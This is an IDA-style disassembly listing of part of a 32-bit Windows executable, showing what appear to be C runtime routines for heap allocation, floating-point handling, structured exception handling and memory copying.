; ---------------------------------------------------------------------------


loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi


loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi


loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 26F0000h


loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi


loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_48B684
		call	near ptr 26E0000h
		nop


loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D


loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_43956Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_43B904, offset sub_41C8C9
		mov	off_43B900, eax
		mov	off_43B908, offset sub_41C92F
		mov	off_43B90C, offset sub_41C86F
		mov	off_43B910, offset sub_41C917
		mov	off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------


loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94


loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------


loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------


loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------


loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------


loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A


loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552


loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165


loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171


loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]


loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193


loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552


loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]


loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]


loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458


loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------


loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------


loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
